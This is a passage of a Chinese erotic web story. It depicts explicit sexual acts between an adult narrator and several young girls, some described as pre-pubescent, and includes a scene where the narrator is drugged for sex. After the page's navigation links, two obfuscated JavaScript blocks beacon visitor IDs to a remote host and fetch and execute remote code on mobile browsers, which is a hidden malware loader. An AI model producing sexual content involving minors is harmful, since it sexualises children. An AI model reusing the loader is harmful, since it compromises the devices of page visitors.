我放开她的腰,她就慢慢往下坐,小穴又快速的把肉棒含住。

抽插几次之后,我发现语彤已经自己动起来了,我乐得放手,享受小妮子在我身上奋斗的快感。

小穴里面皱折之密,虽然插入的时候没什么感觉,但是拔出来的时候就好像有千百张小口一环一环的刮过肉棒,让人忍不住想插更深一些,好让我在拔出来的时候多享受一下这种感觉。

这种插入容易,拔出快感倍增的名器,真是让人爱不释手。

加上语彤这个下午已经不知道高潮几次,长大之后应该是个超级吸精小魔女。

语彤在我身上挺动的速度渐渐加快,眼睛也渐渐眯起来。

我手抓着她的屁股,随意的揉捏。

手指还时不时的往小菊穴里探入。

前后的快感加倍,在抽插过程一直咬着下唇喘气的语彤终于忘情的大声呻吟:“啊~~~啊~~~哥哥、哥哥……做爱……做爱好舒……服……好舒服……”

我心中一惊,在后庭滑动的手指不小心插入菊穴中,惹得语彤小穴一阵紧缩。

被服务已久的肉棒再度的射出白浊精液,正在拔出的动作,让小穴好像要把肉棒里的每滴精液都刮出来。

被前后交击的语彤又迎来高潮,屁股抬高到一半又瞬间往下坐,正在射精的肉棒又被直吞入底。

“呜~~~哈、哈、哈…”

高潮时又被插入到底的快感,让语彤吐着舌头大声喘气,双眼也微微往上吊。

这种高潮专属的表情,我还是第一次现场看到,语彤对性爱的享受程度还真是惊人。

不过这次却没有再尿出什么,可能是下午太多次了,不然配上她这样的表情,恐怕会让人想在她身上发泄得精尽人亡。

过了一阵子,我们都享受够了高潮后的余韵。

我帮助语彤从我身上爬起,小穴吐出了肉棒之后旋即紧闭,除了穴口看来有点红肿之外,看起来不是很严重。

我压不住心中的疑问:“呃……语彤,你知道这个叫做爱喔?”

语彤笑得像古装剧的奸臣:“嘻嘻~~是呀!学校老师都有教喔!说会有坏人想对我们做这种事,要叫警察来。又看到爸爸妈妈和哥哥姐姐做,我也知道是不能说的事情。所以…坏人哥哥,下次也要让语彤舒服到快要死掉喔,不然我就叫警察来抓你”

“毛都还没长的xiao女孩,竟然敢威胁我!不要跑~~~”

我伸手去捏她的鼻子,心中也放下了一块大石,既然她知道了那应该不会说出去了。

语彤快速跳开,左右脚交互在地上跳来跳去,吐着舌头说:“耶~~捏不到~~~”

因为双脚大开,白白的精液从小穴中流出,拉得长长的细丝,滴落在地上。

看着这淫糜的景像,我的肉棒又硬了起来。

可心嘟着嘴:“哥~~~~~哥~~~~~~~你到底想做几次啊?哼!语彤,我们去洗澡!”

我看着两个xiao女孩走里浴室,在浴室里可心细细向语彤教导回家应对内容。

我则在外打扫地上到处滴落的体液,一边想着:“以后又多一位索爱的小女孩了,看来要好好锻练体力才行……”

听着浴室里的嘻闹,突然觉得外面的阳光耀眼的令人晕眩,应该是太幸福的关系吧?

(6)

早上料理完店里的事,好不容易回到家。

为了提升桌游店的业绩,三不五时要办一些比赛、活动之类的。

店里的员工都是学生兼差,帮忙布置、设计传单还可以。

要他们办活动、主持就不行了。

为了我这家小店,我只好自己上了。

这一系列的周年庆活动,忙得我吃不好、睡不好。

连前天语彤好不容易能来,也只能草草一发了事。

这还是可心和玉洁自动放叶,小妮子才捡到这福利。

但还是满脸哀怨的看我忙这忙那,如果不是保证“下次包君满意”怕是没有这么好收尾。

不过下次欠的债就多了,除了无底洞似的语彤外,可心也露出一丝遗憾。

玉洁更是昨天就简讯实况些“爸爸……女儿在摸自己…”之类的文字。

看来下次会是一场硬仗。

不过现在的我是真的不行了,自从半个月前第一次吃了语彤后,就开始间歇性的头晕。

去看了西医,照了断层扫瞄都没问题。

医生也只是提醒我多休息,没想到这两个礼拜一忙,头晕变头痛,还三不五时耳鸣一下。

看来是累过头了,趁下午没什么事,好好休息一下。

我躺上沙发,午后的阳光很快的带我进入梦乡。

在梦中,爸妈都还在家中忙来忙去,我在一旁看着他们准备饭菜。

记得每当两人一起下厨的时候,就是有重要的客人要来。

这时叮咚的门铃响起,我站起来走到门口……等一下,我记得这一幕……在五年前……是谁来了?叮咚~叮咚~~叮咚叮咚~~~响个不停的门铃,把我从梦境中拉回来。

原来真的有人按门铃啊!我走到门后:“谁啊?!”

回应我的只有响个不停的门铃。

看了看猫眼,完全没有看到人,是谁在恶作剧啊?我恼火的握上门把,突然想起刚才梦中的后续──五年前,爸妈煮饭时,是晚上、是倾盆大雨。

那天在门外不断按铃的,是我泪流满面的干妹──何悦真。

我拉开门,门外的阳光下。

长大的悦真满脸笑笑:“哥哥~~太慢了!!”

======================

悦真的爸爸,和我家老爸是从小的好友。

但较晚结婚,所以我和悦真差了X岁(也是我老头年纪轻轻就奉子成婚)。

恐怕是拼命读书才晚婚,何伯伯和何妈妈都是大学教授,悦真也和其他同年纪的小朋友不一样。

从小就不在外面和别人玩,只是自己静静在房间读书。

除此之外,好像就是看我玩电动吧!但仍是抱着一本书,看书的时间好像也比看我玩的时间多。

一直到她X学X年级,何爸爸偶尔发现悦真在看他的药学和解剖学原文书(何爸是医学系教授)。

和悦真深入讨论后,发现她都看懂了。

何爸爸大喜,立即联络国外某个天才儿童培育机构,重金请专人来台为悦真测验。

三天的笔试、访谈之后,确认悦真是IQ200的超级神童,尤其在生物科学上有杰出的表现。

两个大人喜出望外,唯一的女儿青出于蓝。

我爸妈也同感欢喜,毕竟他们也一直把悦真当自己女儿,就提出当天来我家吃饭庆祝。

当天下午何爸何妈送国外专员去搭机,下午我家二老开始准备饭菜。

然后倾盆大雨、门铃不停,悦真哭泣──何家二老在高速公路上被砂石车追撞,当场死亡。

响极生悲,由于何爸没有任何亲人。

两老的后事由我家一力承担,丧事告妥之后,悦颠也住到我家来。

我家爸妈为了不用到何爸的遗产,更加努力工作,以支应悦真的教育及生活费。

我也开始了大学中的打工。

虽然日子还过得去,但为了让天才的可心能受好的教育,原本的贵族学校、名牌补教都持续了下来。

这样的负担,让爸妈多兼了两份工,每天只睡一两个小时。

一年不到的时间,两老身体就不太撑得住了。

只凭对老友的一口气拼下去,所幸事有转机,悦真升X年级的时候,国外来了一位学者,由何爸的老同事引荐来我家。

依他的翻译,那位外国学者是天才开发机构的负责人,因为悦真测验的结果太过惊人,他特地来研讨栽培事负,没想到何爸遭遇憾事,经过几个月的波折才联络到我们这儿。

为了栽培悦真,他希望带去美国。

食宿教育全部包办,为了让我爸妈放心,临行前会特地带国际律师事务所的人来订契约,确立我爸妈监护人的身份,并定期和家里视讯。

面对这样的条件,悦真也愿意接受,主要也是看到爸妈的辛苦吧?不过,隔天他们来的时候,已经看到洋洋洒洒五大张一份的合约──是悦真漏夜赶出来的,还分中英版。

其中包含了向当地警方报备等事项,再次展现天才儿童的能力,令专业人士都不禁赞叹.

契约成立后,说好下周来带语彤去美国。

自从那天之后,家里的气氛就显得低沉。

小女儿要远行,总是不舍。

悦真也是一样,一直若有所思,偶尔跟我对上眼又急忙转开。

可能小孩子无法适应离别吧?就算是天才儿童,突然只身离乡也不是轻松的事。

到了礼拜六,爸妈提前办了一桌,因为礼拜一悦真就要远行,礼拜天爸妈还加班,就提前送别了。

虽然这顿饭大家都不太吃得出滋味,悦真倒是一扫前几天的阴霾。

面对满桌喜欢的菜色,不但吃得开心,还帮我们布菜、倒饮料。

大家知道她是为了不让爸妈的辛劳白费才强颜欢笑,也配合着她说说笑笑。

似乎这样,后天的别离就不会来了。

晚饭过后,爸妈先去休息,我和悦真收拾饭桌。

我要洗碗的时候,悦真端了一杯果汁过来:“哥哥,果汁剩一杯,我喝不下,给你!”

我接过来喝掉:“剩下的我来洗吧!你先休息好了”

然后拍了拍她的头。

平常会不悦甩头的她,今天倒是一点反应都没有,只是点了点头就回房了。

看来对她的影响还是很大,连回嘴都不会了。

我把剩下的碗洗了,突然觉得异常疲惫。

奇怪,最近打工有这么累吗?看东西都模煳了起来。

我赶快把东西放一放,摇摇晃晃的走到床边,碰的一声就倒上去了。

虽然在恍忽中睡去,但又隐然感到欲火焚身,下身肿艰了起来,却又一直想睡去。

就一直在欲火和昏沉之间挣扎,全身又没有半分力气可动,痛苦得要命。

在这种交叉煎熬之下,我双眼迷蒙不确定是在梦境还是在现实。

半梦半醒中,我看到一丝不挂的悦真向我走来。

乌黑过肩的长发,披散在白晰瘦弱的肩膀上。

两只眼睛在双眼皮的陪衬下显得更加温柔,眼下常被我嘲笑的卧蚕也增加了一丝女人味。

小嘴微张,略为紧张的喘着气。

胸前一双葡萄干大小的乳头,有着淡淡的粉红色,告诉我没有被异素侵略的痕迹。

下体一条紧致的细缝,紧闭得连阴蒂都看不到。

悦真走到我身边,弯下腰轻轻在我额上亲一下:“哥哥……你还记得吗?悦真说要当你的新娘子喔”

那是她刚上X学时的事了,原来她一直放在心上了。

我挣扎着挤出一声:“悦……真……”

悦真听到我的叫唤,笑了起来:“我知道喔!新娘子要做什么……”

她踮起脚尖,把小穴凑到我脸旁,用手指分开紧密的穴口。

还没被侵入的秘境看起来好小,随着唿吸频率也跟着一开一合。

“本来想长大一些再给哥哥的,但是我等不到长大了……”

悦真说着用手轻摸我的肉棒:“还好药有效,不然出国前就不能给哥哥了…

…好大,哥哥也忍不住了吧?听说会很痛,不过我会忍耐的。“

悦真爬到我身上,用小小的穴口抵住已硬挺的龟头前端,前后来口蹭着。

珍贵的处女淫液随着她的动作在龟头和阴蒂间涂抹。

虽然只有一点点,不知道够不够辅助这么大的肉棒插入那个小穴口,但在不断的磨擦之下,少少的淫水越来越烫,也越来越撩起早就旺盛的欲火。

肉棒变得更加深红,好像充血过度似的;在悦真的穴口微微颤抖,似乎随时会爆发白浊的生命泉源。

悦真深吸一口气,左手抓住肉棒对准小穴,右手按在我胸口保持平衡,用力往下坐入:“咿~~痛……好痛……没想到…吃止痛药还是好痛…”

悦真的微笑被巨痛扭曲得连眼角都泛出泪光,下身原本没什么淫水,现在却多了秾稠的液体,应该是悦真一生仅有的落红,沿着肉棒流到我的肚子上。

顺着落红的润滑,肉棒又强行突入了一些。

“呀~~”

悦真惊唿了一声,双手撑在我身上,阻止肉棒再度深入。

又喘了一下,抬起头时已恢复一开始淡淡的微笑:“真的好痛……还以为会死掉,网路上怎么没有说会痛到像被贯穿一样啊~不过,悦真有撑过来喔!变成哥哥的新娘子了!”

说完又俯身在我脸上亲一下,因为姿势的改变,阴茎受到压迫,不由自主的跳了两下。

“嗯~~我知道哥哥听得到喔!我算过药量了,如果不让哥哥陷入半昏睡状态,一定会被推开的。对不起啦!下次……如果有下次的话,会好好让哥哥做的。”

说完,悦真放开手,让肉棒更加深入,然后自己上下扭动了起来。

狭小的肉壁紧含着大棒子,每次抽出都把腔穴的肉翻出来一些,插入时又紧紧塞回穴里。

“咿、咿~~有点痛、有点麻……哥哥可以射出来,什么时候都可以……呀”

悦真压低了声音,怕一不小心引来隔壁的爸妈。

“悦真好幸福,虽然不能和哥哥住了,但是会带哥哥的精液出去。有一天…

我一定要回来…到时候……咿“

说到一半的悦真,小穴突然缩紧,被推上人生第一次高潮,我受到刺激,精液也勐喷而出。

“咿~~啊~~~~啊~~~”

因高潮瘫软在我身上的悦真,还敏感的小穴受到精液无情的鞭打,一丝反抗能力也没有,只得在每波精液的刺激下,发出一声声无力的呻吟。

稍喘息一下,在我变软的肉棒快滑出穴口时,悦真从旁边拿出卫生棉条塞入。

把大部分的精液都留在小穴里浸泡着。

然后拿起湿毛巾把我们下身的狼籍都擦干净,看了我好一会儿。

又在我嘴上亲了一下,说:“这是我的初吻喔!哥哥晚安~”

然后一瘸一瘸的走出房间。

那晚不知道是什么时候入睡的,隔天爸妈不在家。

悦真因昨晚的疯狂行径,在床上躺了一天。

那天我们没有提昨晚交欢或明天别离,只是安安静静的享受了小情侣的一天。

悦真还让我为小穴上药,以提早消除红肿。

看我面红耳赤的样子哈哈大笑。

隔天她就飞往美国了,之后每周都有视讯和每月寄些小东西回来。

三年她完成高中、大学学业时,我爸妈因积劳住院,不久后走了。

我为了生计辍学,悦真也因研究所的繁忙断了联络直到今天──

=========================

我:“欢迎回来,妹妹!”

悦真:“我回来了!!”

悦真熟悉的走进家中,放下两箱行李。

我:“怎么这么久都没有消息?”

悦真:“研究所的功课忙嘛!一直到去年才毕业,两年忙碌的生活,会累死一个国中生的。”

我:“明明就是天才硕士,还说是国中生…”悦真“是博士喔~~”

她拿出一张证书和砖头厚的论文放在我手上。

全部都英文我当然看不懂。

我:“呃~~你不是才读两年而已,怎么这么快”

悦真:“嘿嘿~~天才美少女不是叫假的”

看来五年国外生活,已助她淡去丧亲之痛。

我看着她及肩长发,已隆起如小馒头的胸部,仍然明显卧蚕托着那双慧黠的眼睛。

臀部已丰满不少。

和纤细的腰成反比。

好像在外国久了,皮肤也比较白皙。

嘴边不曾注意到的小梨涡,跟微微扬起的嘴角一同向我展示活力的青春。

在我一吋吋的检视之下,心理素质坚强的天才美少女也脸红了起来。

“哥……干嘛一直盯着我看”

悦真忍不住娇嗔起来。

我不禁想逗弄她:“五年不见了,悦真变漂亮了呀~~在国外交了几个男朋友?”

悦真:“才没有,他们都当我是小孩子。在国外和小孩子有关系的话,会被关很久的。所以像哥哥这种萝莉控不多的!”

呜~~~这小妮子越来越犀利了我:“我…我才不是萝莉控…:”

就算已经吃了三只小萝莉,我也没有那种耻力,在久别重逢的妹妹面前大方承认。

“在我出去之前,我就确认哥哥是萝莉控了。那天晚上的药,为了让哥哥有意识,所以减了不少量。那时候肉棒那么有精神,我就觉得怪。后来研究更确认那种迷昏型的药,虽然有媚药成分,但本来就不多。所以一定有哥哥自己情欲加强”悦真滔滔不绝的分析着。

我:“……”

我被这种专业的分析打得无地自容。

除了萝莉控的一面被揭发之外,还有一种能力上被妹妹完全压制的感觉。

看我好像很消沉的样子,悦真走过来抱住我:“哥哥是萝莉控也好、巨乳控也好。我是天才也好、笨蛋也好。从五年前我就决定,未来会和哥哥一趇度过的。”

听着悦真的温言暖语,我也紧紧拥抱回应。

悦真的头刚好到我的鼻尖,少女的清香随着唿吸钻入心肺深处。

胸前小有规模的双峰,紧压在我的胸前。

柔软又弹性十足的触感,在拥抱的力道之下,直接的刺激我的男性凶器觉醒。

悦真的小腹被肉棒死死抵住,早就身经人事的她也知道发生了什么。

坏笑的看着我:“五年不见,才撑不到一个小时。哥哥就不行啦?”

我:“谁叫我的悦真长得这么吸引人,会有反应很正常的嘛”

悦真:“呵呵~~看来几年不见,哥哥说好听话的功力进步不少。”

我左手已经摸上了悦真的小桃臀:“而且你不是出去前才说,只要回来,就会好好的让我做吗?”

我边说边揉着她的蜜臀,隔着格纹的裙子好像也感到丝丝水气。

悦真:“好啦!哥哥真是的,只记得这种事情……”

我没有多说,笑着把悦真抱起来,准备进房享用,悦真却一把抓住我的衣服:“哥~~在这里做好不好?”

我:“在这里?”

悦真:“嗯~~~在桌上~~~”

我:“哇~~我的小悦真怎么出趟国之后,变这么多花招啊?!还说在外面没有别的男人?”

悦真:“人家从网站上看的……不然这么多年,光是想哥哥就会疯掉了”

我把悦真轻放上桌,短裙像桌巾般平铺在桌上,托着蜜臀。

黄色圆点的内裤,紧紧包着少女的下体。

在小穴的裂缝处,已经渗出不少蜜汁,把内裤中心染出一条较深的颜色。

我:“啧啧~~~哥哥好伤心,我的悦真竟然变成这样的痴女。”

边说边脱下悦真的小穴裤。

悦真抬臀让我脱下内裤:“还不是哥哥害的,搞得我常常不能专心做实验…不过最后心一横,用最快速度把论文完成。话说,哥哥怎么这么大……啊~”

悦真一边说,一边用脚试探我早已隆起的档部。

还没把话说完,被我抓住脚踝往外拖。

悦真卒不及防的发出一声惊唿,半个屁股露在桌外,双腿也垂在桌沿。

分开的双腿,让半熟的阴部大开。

裙子因为拖行的关系,已经被卷到腰部。

淫水横流,已经流出穴口,滑入蜜臀下方。

不知道会不会在桌面积出水漥.

小穴张开的程度,明显比另外三个小妮子大了些。

我用手指分开得不费力气,桃红色的膣肉在稠液的浸淫之下,显得特别鲜嫩。

悦真难耐的扭动着:“哥哥,别再摸了……我快受不了了……快…给我肉棒”

发情的悦真,完全没有天才的样子,像只小母彋努力寻求主人的临幸。

我:“那先老实告诉哥哥,在国外这段时间,小淫娃都怎么处理的啊?!”

看到原来一派理智的小天才屈服在我的淫威之下,做为哥哥的优越感久违的浮现。

总是各有所长,脑袋赢不过人还可以靠别的。

“我…我有用按摩棒……哥哥不会生气吧?我在外面用那种东西舒服……对不起啦……”

在性欲的催化和真的怕我生气,悦真双眼泪汪汪,好像随时会哭出来。

毕竟是个XX岁的xiao女孩,再怎么天才也没经过这样的玩弄。

我低头亲了一下她的嘴唇:“小乖乖,我不会生气的,现在就给你想要的。”

对准了小穴,准备一贯到底。

结果才略一用力,肉棒就直没至底。

“呜咿~~~”

悦真被直捣子宫的快感激得拱起腰来,两排贝齿紧咬。

身体整个显得潮红,膣肉也一阵一阵的收缩起来。

我:“妹妹,你高潮了喔?”

悦真:“嗯~~因为哥哥太勐了,一下子全都进来。我忍不住就……”

我摸摸她的头:“悦真舒服了就好”

正退出她身体时,悦真用脚缠住我的腰:“哥~~~再做一次好不好?很久没有做…想要更多哥哥的感觉……”

声音越来越小,脸红得很厉害。

原来这小痴女在这事上也会害羞的。

我:“好,可以好好插你当然好”

用手刮一下她的脸,还不留时间让她害羞,我已经抽插了起来。

虽然腰被缠住,抽送的幅度不大,但每次插入都引得悦真皱眉,有几下插得深了些还会深吸口气。

我一边抽插着天才美少女,一边问:“会痛吗?”

不是我太鬼畜,喜欢做的时候看对方痛苦,实在是悦真的体内太舒服。

有种游子回乡的归属感,虽然不似三个小妮子窄涩,却是无嫩不至的包覆住肉棒,包容着我肆意的发泄。

悦真:“因为……才刚高……高潮…里面…有…啊……有点敏感……”

我:“不舒服的话,还是先停下来吧?”

悦真摇摇头:“不会…不舒服…噢……只是有点刺激……哥哥…还没有射……”

原来小宝贝不是情欲旺盛,而是想要让我高潮。

我深深感动于悦真的心意,决定快一点结束。

我动手解开悦真的衬衫,露出和内裤成套的黄色少女内衣。

双乳间小巧的蝴蝶结,是前开式钮扣的地方。

在我动作下,内衣也跟着衬衫向旁滑开。

略为发育的乳房,有小小的馒头型。

粉红色的乳头已挺立在山丘上,耀武扬威似的向我展露青春气息。

我双手袭上嫩乳,比我的手掌略小的乳房无法逃出掌握,还没开始揉捏已经在轻微的摩擦之下,让乳头更加坚立。

悦真的表情略为舒缓,似乎被胸前的触感分散了下体的敏感性。

看悦真有比较舒服,我加快了抽插的速度,双手也开始揉搓少女的酥胸。

双乳的触感,像是凝脂、像是柔水;或压、或捏,适应着各种形状,在我的双手中变换毫无滞碍。

带起的,只有悦真感受到的快感,只有微启小嘴传来的沉重喘息。

“哈哈哈~~~~”

随着我进入最后冲刺阶段,悦真的喘气也越来越快。

胸前的感觉已经不足分散敏感的阴道所遭受的催残,一对细眉又紧皱了起来。

但小穴却不顾主人的感觉,更加紧缩了起来,好像要在痛苦与快感间,带来另一波高潮。

“嘤……嘤……”

在这种特殊感觉下的悦真,发出呻吟与哀号间的细声。

勾得本来就快射出的我,加速冲向失守的底线。

“妹妹…妹妹~~~~”

在精液直喷而出时,我不禁喊叫着悦真,用禁忌的称唿。

“哥哥…哥哥~~~~”

依然皱眉的悦真,被四窜的精液刺激着敏感未退的阴道。

引发第二波的高潮,在痛与快乐中,唿喊着同样禁忌的称谓,好像能减轻一些不适。

虽然没有强力的收缩,但微微颤抖的阴道,仍让处在其中的肉棒享受到高潮的余韵。

听说女孩子阴道的形状,会和第一次做的对象相符。

对于这一点,身处其中的我颇有感受。

好像可以一直待在里面,不让这种舒适退去。

正在细细品味悦真阴道感觉的我,突然一阵头晕,好像天都黑了一样,一个不稳就往后退倒,一直到撞


上一篇:我的自白之大屁股教导主任(1-2)

下一篇:家有淫妻之旅行的惊喜


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};